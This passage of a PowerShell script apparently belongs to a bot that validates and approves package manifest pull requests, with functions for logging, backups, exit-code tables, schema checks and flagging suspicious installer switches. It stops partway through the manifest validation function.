'"DateTime","PRsApprovedDuringLastRun","LastRunTookSeconds","AvgSecPerPR","SleepUntil"' - Write-Host $out - } else { - if (!($Silent)) { - Write-Host "Writing $($out.Length) characters to $ApprovalStatsFile." - } - if ($out.Length -gt 0) { - if ($out.PRsApprovedDuringLastRun -gt 0) { - $out | Out-File $ApprovalStatsFile -Append - } - } - } -} - -Function Write-Status { - Param( - $out, - [Switch]$Silent, - [Switch]$NoClobber, - $OutFile = $StatusFile - ) - if (($FunctionTrace) -OR !($Silent)) {Write-FunctionTrace "Write-Status Writing $($out.Length) lines to $OutFile."}; - if ($out.Length -gt $Enum.Num.Zero) { - $out | ConvertTo-Csv | Out-File $OutFile -Encoding unicode - } -} - -Function Write-FunctionTrace { - Param( - $out, - [string]$OutFile = $FunctionTraceFileName - ) - # if (($FunctionTrace) -OR !($Silent)) {"Write-FunctionTrace Writing $($out.Length) lines to $OutFile." | Out-File $OutFile -Encoding unicode -Append}; - if ($out.Length -gt $Enum.Num.Zero) { - $out | Out-File $OutFile -Encoding unicode -Append - } -} - -Function Write-CovertReviewFile { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [ValidateSet("Silent","SilentWithProgress","Interactive","InstallLocation","Log","Upgrade","Custom","Repair")] - [string]$Switch, - [string]$Trigger, - [string]$LineNos, - $DateTime = (get-date -f s), - [Switch]$Silent - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Write-CovertReviewFile $PR"}; - - # $out = "$DateTime,$PR, $Switch, $LineNos, $Trigger" | ConvertTo-Csv -NoHeader - $out = $Enum.Char.Blank | Select-Object DateTime,PR,Switch,LineNos,Trigger - $out.DateTime = $DateTime - $out.PR = $PR - $out.Switch = $Switch - $out.LineNos = $LineNos - $out.Trigger = $Trigger - $out = $out | ConvertTo-Csv -NoHeader - if (!($Silent)) { - Write-Host "Writing $($out.Length) characters to $CovertReviewFile." - } - if ($out.Length -gt 0) { - $out | Out-File $CovertReviewFile -Append - } -} - -Function Write-Log { - Param( - [string]$logData, - [string]$ForegroundColor = "Gray", - [string]$Month = (Get-Culture).DateTimeFormat.GetMonthName((Get-Date).Month), - [string]$Today = (get-date -f MMddyy), - [string]$FileName = "$logsFolder\$Month\$Today-Approval.log", - [switch]$NoNewLine - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Write-Log $Today"}; - md "$logsFolder\$Month\" -ErrorAction SilentlyContinue - if ($NoNewLine) { - Write-Host $logData -ForegroundColor $ForegroundColor -NoNewLine - # Add-Content -LiteralPath $FileName -Value $logData - $logData | Out-File $FileName -Append -NoNewline # -Encoding unicode - } else { - Write-Host $logData -ForegroundColor $ForegroundColor - $logData | Out-File $FileName -Append # -Encoding unicode - } -}; - -#Backup -Function Get-BackupDataFIles { - Param ( - $path = "$RepoFolder\Backups\$date.zip" - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-BackupDataFIles $path"}; - $date = (get-Date -f s) -replace("\:","_") - # $path = "$RepoFolder\Backups\$date\" - # md $path - md "$RepoFolder\Backups\" - Compress-Archive -Path $RepoFolder -DestinationPath $path -} - -#ExitCodes -Function Get-UpdateExitCodeFile { - Param( - $FileName = $ExitCodeFile, - $ExitCodes = (Get-Content $FileName | ConvertFrom-Csv) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateExitCodeFile $FileName"}; - try { - $ExitCodes | %{$_.dec = [System.Convert]::ToInt32($_.Hex,16)} - } catch {} - try { - $ExitCodes | %{if ($_.dec -ge 0) {$_.invDec = $_.dec - 4GB}else {$_.invDec = $_.dec + 4GB}} - } catch {} - $ExitCodes | select "Hex","Dec","InvDec","Symbol","Description" -unique | sort hex | ConvertTo-Csv | clip -} - -Function Get-UpdateExitCodeFile2 { - Param( - $FileName = $ExitCodeFile, - $ExitCodes = (Get-Content $FileName | ConvertFrom-Csv) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateExitCodeFile2 $FileName"}; - for ($i = 0; $i -lt $ExitCodes.count; $i++){ - if ($ExitCodes[$i].hex -match $ExitCodes[$i+1].hex){ - if ($ExitCodes[$i].Symbol -eq "") { - $ExitCodes[$i].Symbol += $ExitCodes[$i+1].Symbol; - } - if ($ExitCodes[$i].Symbol -eq "") { - $ExitCodes[$i] = $null; - } - if ($ExitCodes[$i].Description -eq "") { - $ExitCodes[$i].Description += $ExitCodes[$i+1].Description; - }#end if ExitCodes.Description - if ($ExitCodes[$i].Description -eq "") { - $ExitCodes[$i] = $null; - } - }#end if ExitCodes.hex - } - $ExitCodes | select "Hex","Dec","InvDec","Symbol","Description" -unique | sort hex | ConvertTo-Csv | clip -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################ - Security - ################################ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Function Get-ManifestCovertReview { - Param( - [string]$StringToReview, - [switch]$WhatIf - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestCovertReview"}; #end if display - [bool]$ReturnValue = $True - foreach ($Switch in (Get-Keys $Enum.CovertReviewtSwitches)) { - foreach ($Key in (Get-Keys $Enum.CovertReviewKeys)) { - $Detected = Get-SchemaCheck -YamlKey $Switch -SchemaInfo $MVschemaData.CovertReview.($Key) -InputData $StringToReview - if ($Detected) { - $ReturnValue = $False - if ($WhatIf) {Write-Host "$Key Detected"} - [string]$Trigger = "$Key - $($Detected -join ',')" - if ($WhatIf) { - "Write-CovertReviewFile -PR $PR -Switch $Switch -Trigger $Trigger -LineNos $LineNos" - } else { - Write-CovertReviewFile -PR $PR -Switch $Switch -Trigger $Trigger - } - } - }#end foreach Key - }#end foreach Switch - Return $ReturnValue -} - -Function Get-SchemaCheck { - Param( - [string]$InputData, - [string]$YamlValue, - $SchemaInfo, - [switch]$Display #Only use debug for troubleshooting with verified internally-generated data, never with untested external data. - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SchemaCheck File: $($SchemaInfo.description)"}; #end if display - #Diagnostic check, to see how many checks are being run. If it starts to slow down or get laggy. - # [int]$num = ([int](gc $SchemaCheckFile) +1);Out-File -FilePath $SchemaCheckFile -InputObject $num - $Tombstone = $Enum.Strings.FastFailTombstone - - try { - [System.Collections.ArrayList]$SchemaKeys = Get-Keys $SchemaInfo - if (!($SchemaKeys)){ - if ($Display) {Write-Host "Get-SchemaCheck Schema empty FastFail mandatory but missing!!!"}; - Return $Tombstone - } - if ($Display) {Write-Host "Get-SchemaCheck Schema contains: $SchemaKeys"}; - if ($Display) {Write-Host "Get-SchemaCheck Schema description: $($SchemaInfo.description)"}; - $SchemaKeys.Remove($Enum.SchemaKeysEtc.Description) - - [bool]$Optional = $False - if ($SchemaInfo.type -contains $Enum.SchemaKeysEtc.Null) { - $Optional = $True - } else { - $Optional = $False - } - if ($Display) {Write-Host "Get-SchemaCheck InputData: $InputData"}; - $DataToVerify = $null - $Output = $Null - - if ($YamlValue) {#Yaml, Json, etc - if ($Display) {Write-Host "Get-SchemaCheck MatchWith: $YamlValue"}; - if ($InputData -match $YamlValue) {#Yaml, Json, etc - [string]$mid = Get-YamlValue -Key $YamlValue -InputArray $InputData - if ($Display) {Write-Host "Get-SchemaCheck mid: $mid"}; - #Data can only be a string here. This is to allow the other variables to remain loosely-typed, for the other sections. - $DataToVerify = $mid - } - } else { - $DataToVerify = $InputData - } - if ($Display) {Write-Host "Get-SchemaCheck DataToVerify: $DataToVerify"}; - - [string]$Item = $Enum.SchemaKeysEtc.Type - [string]$integer = $Enum.SchemaKeysEtc.Integer - if ($SchemaInfo.($Item)) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start"}; - $SchemaKeys.Remove($item) - $SchemaStrand = ($SchemaInfo.($Item) | where {$_ -ne $Enum.SchemaKeysEtc.Null}) - if ($SchemaStrand -eq $integer) {#If type is int - [int]$mid = $DataToVerify - $DataStrand = $mid.gettype().name -replace $Enum.SchemaKeysEtc.Int32,$integer - if ($DataStrand -eq $SchemaStrand) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $Integer Pass"}; - } else { - if ($Optional) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $Integer optional"}; - Return $Null - } else { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $Integer FastFail mandatory but not matching!!!"}; - Return $Tombstone - }# end if Optional - }# end if DataStrand - } else {#All other types - $DataStrand = $DataToVerify.gettype().name - if ($DataStrand -eq $SchemaStrand) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $SchemaStrand Pass"}; - } else { - if ($Optional) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $SchemaStrand optional"}; - Return $Null - } else { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $SchemaStrand FastFail mandatory but not matching!!!"}; - Return $Tombstone - }# end if Optional - }# end if DataStrand - }; #end if type - }#end if SchemaInfo - $Item = $Enum.SchemaKeysEtc.Constant - if ($SchemaInfo.($Item)) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start $DataToVerify"}; - $SchemaKeys.Remove($item) - $DataStrand = $DataToVerify - $SchemaStrand = $SchemaInfo.($Item) - if ($DataStrand -eq $SchemaStrand) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; - } else { - if ($Optional) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; - Return $Null - } else { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; - Return $Tombstone - }# end if Optional - }# end if DataStrand - }#end if SchemaInfo - $Item = $Enum.SchemaKeysEtc.title - if ($SchemaInfo.($Item)) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start $DataToVerify"}; - $SchemaKeys.Remove($item) - $DataStrand = $DataToVerify - $SchemaStrand = $SchemaInfo.($Item) - # if ($DataStrand -match $SchemaStrand) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; - # } else { - # if ($Optional) { - # if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; - # Return $Null - # } else { - # if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; - # Return $Tombstone - # }# end if Optional - # }# end if DataStrand - }#end if SchemaInfo - $Item = $Enum.SchemaKeysEtc.Default - if ($SchemaInfo.($Item)) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start $DataToVerify"}; - $SchemaKeys.Remove($item) - $DataStrand = $DataToVerify - $SchemaStrand = $SchemaInfo.($Item) - # if ($DataStrand -match $SchemaStrand) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; - # } else { - # if ($Optional) { - # if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; - # Return $Null - # } else { - # if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; - # Return $Tombstone - # }# end if Optional - # }# end if DataStrand - }#end if SchemaInfo - $Item = $Enum.SchemaKeysEtc.Pattern - if ($SchemaInfo.($Item)) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start $DataToVerify"}; - $SchemaKeys.Remove($item) - $DataStrand = $DataToVerify - $SchemaStrand = $SchemaInfo.($Item) -replace "/","\/" #PowerShell requires escaping the forward slashes. - if ($DataStrand -match $SchemaStrand) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; - } else { - if ($Optional) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; - Return $Null - } else { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; - Return $Tombstone - }# end if Optional - }# end if DataStrand - }#end if SchemaInfo - $Item = $Enum.SchemaKeysEtc.Enum - if ($SchemaInfo.($Item)) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start"}; - $SchemaKeys.Remove($item) - $DataStrand = $DataToVerify - # $DataToVerify = $null - $SchemaStrand = $SchemaInfo.($Item) - foreach ($Strand in $SchemaStrand) { - if ($DataStrand -eq $Strand) { - if ($Display) {Write-Host "Get-SchemaCheck Schema DataStrand $DataStrand Strand $Strand"}; - # $DataToVerify += $Strand - }# end if DataStrand - }# end foreach Strand - if ($DataToVerify) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; - } else { - if ($Optional) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; - Return $Null - } else { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; - Return $Tombstone - }# end if Optional - }# end if DataToVerify - }#end if SchemaInfo - $Item = $Enum.SchemaKeysEtc.minLength - if ($SchemaInfo.($Item)) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start"}; - $SchemaKeys.Remove($item) - $DataStrand = $DataToVerify.length - $SchemaStrand = $SchemaInfo.($Item) - if ($DataStrand -ge $SchemaStrand) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; - } else { - if ($Optional) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; - Return $Null - } else { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but too short!!!"}; - Return $Tombstone - }# end if Optional - }# end if DataStrand - }#end if SchemaInfo - $Item = $Enum.SchemaKeysEtc.maxLength - if ($SchemaInfo.($Item)) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start"}; - $SchemaKeys.Remove($item) - $DataStrand = $DataToVerify.length - $SchemaStrand = $SchemaInfo.($Item) - if ($DataStrand -le $SchemaStrand) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; - } else { - if ($Optional) { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; - Return $Null - } else { - if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but too long!!!"}; - Return $Tombstone - }# end if Optional - }# end if DataStrand - }#end if SchemaInfo - if ($SchemaKeys) { - if ($Optional) { - if ($Display) {Write-Host "Get-SchemaCheck Unverified schema keys: $SchemaKeys"}; - Return $Null - } else { - if ($Display) {Write-Host "Get-SchemaCheck Error: Unverified schema keys FastFail mandatory but missing: $SchemaKeys" -f red}; - Return $Tombstone - } - } else { - return $DataToVerify - } - } catch { - if ($Display) {Write-Host "Get-SchemaCheck Schema Error FastFail: $($Error[0])"}; - # Return $Tombstone - } -}# end Function - -Function Get-SchemaFinder { - Param( - [ValidateScript( { $_ -in (Get-Values $Enum.ManifestFileTypeNames) } )][string]$File, - [ValidateScript( { $_ -in ((Get-Keys $Enum.ManifestDefaultLocaleProperties) -OR (Get-Keys $Enum.ManifestInstallerProperties)-OR (Get-Keys $Enum.ManifestLocaleProperties)-OR (Get-Keys $Enum.ManifestVersionProperties)) } )][string]$Property, - [switch]$Display - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SchemaFinder File: $File - $Property"}; #end if display - - Switch ($File) { - $Enum.ManifestFileTypeNames.Installer { - Switch ($Property) { - $enum.ManifestinstallerProperties.Dependencies { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.WindowsFeatures { - $schemaData.($File).definitions.Dependencies.Properties.($Property) - } - $enum.ManifestinstallerProperties.WindowsLibraries { - $schemaData.($File).definitions.Dependencies.Properties.($Property) - } - $enum.ManifestinstallerProperties.PackageDependencies { - $schemaData.($File).definitions.Dependencies.Properties.($Property) - } - $enum.ManifestinstallerProperties.ExternalDependencies { - $schemaData.($File).definitions.Dependencies.Properties.($Property) - } - $enum.ManifestinstallerProperties.ExpectedReturnCodes { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.ExpectedReturnCode { - $schemaData.($File).definitions.ExpectedReturnCodes.items - } - $enum.ManifestinstallerProperties.InstallerReturnCode { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.ReturnResponse { - $schemaData.($File).definitions.ExpectedReturnCodes.items.Properties.($Property) - } - $enum.ManifestinstallerProperties.ReturnResponseUrl { - $schemaData.($File).definitions.ExpectedReturnCodes.items.Properties.($Property) - } - $enum.ManifestinstallerProperties.Installers { - $schemaData.($File).Properties.($Property) - } - $enum.ManifestinstallerProperties.InstallerSwitches { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.Silent { - $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) - } - $enum.ManifestinstallerProperties.SilentWithProgress { - $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) - } - $enum.ManifestinstallerProperties.Interactive { - $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) - } - $enum.ManifestinstallerProperties.InstallLocation { - $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) - } - $enum.ManifestinstallerProperties.InstallMode { - $schemaData.($File).definitions.InstallModes.items - } - $enum.ManifestinstallerProperties.Log { - $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) - } - $enum.ManifestinstallerProperties.Upgrade { - $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) - } - $enum.ManifestinstallerProperties.Custom { - $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) - } - $enum.ManifestinstallerProperties.Repair { - $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) - } - $enum.ManifestinstallerProperties.Platform_Items { - $schemaData.($File).definitions.Platform.items - } - $enum.ManifestinstallerProperties.NestedInstallerFiles_Items { - $schemaData.($File).definitions.NestedInstallerFiles.items - } - $enum.ManifestinstallerProperties.InstallModes_Items { - $schemaData.($File).definitions.InstallModes.items - } - $enum.ManifestinstallerProperties.InstallerSuccessCodes_Items { - $schemaData.($File).definitions.InstallerReturnCodes - } - $enum.ManifestinstallerProperties.ExpectedReturnCodes_Items { - $schemaData.($File).definitions.ExpectedReturnCodes.items - } - $enum.ManifestinstallerProperties.Commands_Items { - $schemaData.($File).definitions.Commands.items - } - $enum.ManifestinstallerProperties.Protocols_Items { - $schemaData.($File).definitions.Protocols.items - } - $enum.ManifestinstallerProperties.FileExtensions_Items { - $schemaData.($File).definitions.FileExtensions.items - } - $enum.ManifestinstallerProperties.WindowsFeatures_Items { - $schemaData.($File).definitions.Dependencies.properties.WindowsFeatures.items - } - $enum.ManifestinstallerProperties.WindowsLibraries_Items { - $schemaData.($File).definitions.Dependencies.properties.WindowsLibraries.items - } - $enum.ManifestinstallerProperties.ExternalDependencies_Items { - $schemaData.($File).definitions.Dependencies.properties.ExternalDependencies.items - } - $enum.ManifestinstallerProperties.Capabilities_Items { - $schemaData.($File).definitions.Capabilities.items - } - $enum.ManifestinstallerProperties.RestrictedCapabilities_Items { - $schemaData.($File).definitions.RestrictedCapabilities.items - } - $enum.ManifestinstallerProperties.MarketArray_Items { - $schemaData.($File).definitions.Market - } - $enum.ManifestinstallerProperties.UnsupportedOSArchitectures_Items { - $schemaData.($File).definitions.UnsupportedOSArchitectures.items - } - $enum.ManifestinstallerProperties.UnsupportedArguments_Items { - $schemaData.($File).definitions.UnsupportedArguments.items - } - $enum.ManifestinstallerProperties.AppsAndFeaturesEntries_Items { - $schemaData.($File).definitions.Commands.items - } - $enum.ManifestinstallerProperties.ManifestType { - $schemaData.($File).Properties.($Property) - } - $enum.ManifestinstallerProperties.ManifestVersion { - $schemaData.($File).Properties.($Property) - } - $enum.ManifestinstallerProperties.Platform { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.Protocols { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.RestrictedCapabilities { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.UnsupportedArguments { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.UnsupportedOSArchitectures { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.UpgradeBehavior { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.UpgradeCode { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestinstallerProperties.DisplayName { - $schemaData.($File).definitions.AppsAndFeaturesEntry.Properties.($Property) - } - $enum.ManifestinstallerProperties.Publisher { - $schemaData.($File).definitions.AppsAndFeaturesEntry.Properties.($Property) - } - $enum.ManifestinstallerProperties.DisplayVersion { - $schemaData.($File).definitions.AppsAndFeaturesEntry.Properties.($Property) - } - $enum.ManifestinstallerProperties.PortableCommandAlias { - $schemaData.($File).definitions.NestedInstallerFiles.items.properties.PortableCommandAlias - } - $enum.ManifestinstallerProperties.RelativeFilePath { - $schemaData.($File).definitions.NestedInstallerFiles.items.properties.RelativeFilePath - } - $enum.ManifestinstallerProperties.InstallerLocale { - $schemaData.($File).definitions.Locale - } - $enum.ManifestinstallerProperties.InstallerSha256 { - $schemaData.($File).definitions.installer.Properties.($Property) - } - $enum.ManifestinstallerProperties.InstallerUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestinstallerProperties.SignatureSha256 { - $schemaData.($File).definitions.installer.Properties.($Property) - } - Default { - $schemaData.($File).definitions.($Property) - } - }#end switch - }# END installer - $Enum.ManifestFileTypeNames.DefaultLocale { - Switch ($Property) { - $enum.ManifestDefaultLocaleProperties.Agreements { - $schemaData.($File).definitions.Agreement - } - $enum.ManifestDefaultLocaleProperties.Agreement { - $schemaData.($File).definitions.Agreement.Properties.($Property) - } - $enum.ManifestDefaultLocaleProperties.AgreementLabel { - $schemaData.($File).definitions.Agreement.Properties.($Property) - } - $enum.ManifestDefaultLocaleProperties.AgreementUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.Description_Items { - $schemaData.($File).properties.Description - } - $enum.ManifestDefaultLocaleProperties.Documentations { - $schemaData.($File).definitions.Documentation - } - $enum.ManifestDefaultLocaleProperties.Documentation { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestDefaultLocaleProperties.DocumentLabel { - $schemaData.($File).definitions.Documentation.Properties.($Property) - } - $enum.ManifestDefaultLocaleProperties.DocumentUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.Moniker { - $schemaData.($File).definitions.Tag - } - $enum.ManifestDefaultLocaleProperties.CopyrightUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.PrivacyUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.PurchaseUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.PublisherUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.PublisherSupportUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.PackageUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.LicenseUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.ReleaseNotesUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.Icons { - $schemaData.($File).Properties.($Property) - } - $enum.ManifestDefaultLocaleProperties.Icons_Items { - $schemaData.($File).definitions.Icon - } - $enum.ManifestDefaultLocaleProperties.Icon { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestDefaultLocaleProperties.IconUrl { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestDefaultLocaleProperties.IconFileType { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestDefaultLocaleProperties.IconResolution { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestDefaultLocaleProperties.IconTheme { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestDefaultLocaleProperties.IconSha256 { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestDefaultLocaleProperties.Tag { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestLocaleProperties.Tags_Items { - $schemaData.($File).definitions.Tag - } - $enum.ManifestDefaultLocaleProperties.Url { - $schemaData.($File).definitions.($Property) - } - Default { - $schemaData.($File).Properties.($Property) - } - }# end switch - }# END DefaultLocale - $Enum.ManifestFileTypeNames.Locale { - Switch ($Property) { - $enum.ManifestLocaleProperties.Agreements { - $schemaData.($File).definitions.Agreement - } - $enum.ManifestLocaleProperties.Agreement { - $schemaData.($File).definitions.Agreement.Properties.($Property) - } - $enum.ManifestLocaleProperties.AgreementLabel { - $schemaData.($File).definitions.Agreement.Properties.($Property) - } - $enum.ManifestLocaleProperties.AgreementUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestLocaleProperties.CopyrightUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestLocaleProperties.PrivacyUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestDefaultLocaleProperties.PurchaseUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestLocaleProperties.PublisherUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestLocaleProperties.PublisherSupportUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestLocaleProperties.PackageUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestLocaleProperties.LicenseUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestLocaleProperties.ReleaseNotesUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestLocaleProperties.Documentation { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestLocaleProperties.DocumentLabel { - $schemaData.($File).definitions.Documentation.Properties.($Property) - } - $enum.ManifestLocaleProperties.DocumentUrl { - $schemaData.($File).definitions.Url - } - $enum.ManifestLocaleProperties.Icon { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestLocaleProperties.Icons_Items { - $schemaData.($File).definitions.Icon - } - $enum.ManifestLocaleProperties.IconUrl { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestLocaleProperties.IconFileType { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestLocaleProperties.IconResolution { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestLocaleProperties.IconTheme { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestLocaleProperties.IconSha256 { - $schemaData.($File).definitions.Icon.Properties.($Property) - } - $enum.ManifestLocaleProperties.Tag { - $schemaData.($File).definitions.($Property) - } - $enum.ManifestLocaleProperties.Tags_Items { - $schemaData.($File).definitions.Tag - } - $enum.ManifestLocaleProperties.Url { - $schemaData.($File).definitions.($Property) - } - Default { - $schemaData.($File).Properties.($Property) - } - }# end switch - }# END Locale - #$Enum.ManifestFileTypeNames.Version uses the default for everything. - Default { - $schemaData.($File).Properties.($Property) - } - }# end switch -} - -Function Get-QueryCheck { - Param( - [string]$Item = $Enum.SchemaKeysEtc.SkipToContent, - [string]$String, - $Schema = $MVschemaData.General.($Item), - [ValidateSet("string","bool")][string]$ReturnType - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-QueryCheck $($Schema.description)"}; - if ($Item) { - if ($String -match $Item) { - if ($debug) {Write-Host "$Section $Item Schema Begin - $($Schema.description)"} - $SchemaCheck = Get-SchemaCheck -InputData $String -YamlValue $Item -SchemaInfo $Schema - }# end if String - } else { - if ($debug) {Write-Host "$Section Schema Begin"} - $SchemaCheck = Get-SchemaCheck -InputData $String -SchemaInfo $Schema - }# end if Item - - - if ($SchemaCheck -eq $Enum.Strings.FastFailTombstone) {if ($debug) {Write-Host "$Section $Item Schema Tombstone FastFail"};Return $Null} - if ($debug) {Write-Host "$Section $Item Schema Pass"} - Return $SchemaCheck -} - -Function Get-ManifestValidation { -#Detect indentation by splitting on the enum'd key and equals against enum'd intentation strings. On match, return the enum. -#This gives us the enum'd indentation, enum'd key, and schema'd value. And the schema will check each of these for necessity. - Param( - [string[]]$StrArray, - [switch]$NoRun, - [switch]$Display, - [switch]$Display2 - ); #end Param - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestValidation $($StrArray.length)"}; - [string]$out = "" - [string]$Filename = "" - [string]$FileType = "" - [string]$ListKey = "" - [string[]]$Extensions = $Enum.ManifestFileExtension.Locale , $Enum.ManifestFileExtension.Installer , $Enum.ManifestFileExtension.Root - if ($StrArray.Length -eq 1) { - #In case the array got stuffed into the first slot instead of being split linewise. - $StrArray = $StrArray -split "`n" - if ($Display) {Write-Host "Splitting string - new length: $($StrArray.length)"} - } - - Foreach ($String in $StrArray) { - if ($Display2) {Write-Host "String: $String"} - # While ($FileType -eq "") { - if ($String -match "ManifestType") { - foreach ($ManifestFileType in (get-keys $Enum.ManifestFileTypes)) { - if ($Display) {Write-Host "FileType: $ManifestFileType"} - if ($String -match $ManifestFileType) { - If ($FileType -eq "") { - $FileType = $Enum.ManifestFileTypesReverse.($ManifestFileType -replace "[.]","") - if ($Display) {Write-Host "FileType found: $FileType"} - # $SchemaCheck = Get-SchemaCheck -InputData $CheckValue -SchemaInfo (Get-SchemaFinder -File $FileType -Property $Enum.ManifestDefaultLocaleProperties.PackageLocale) - }; #end if String - }; #end if String - }; #end foreach Extension - }; #end if String - # }; #end While FileType - }; #end Foreach String - $PropertiesToUse = switch ($FileType) { - $Enum.ManifestFileTypeNames.Locale { - 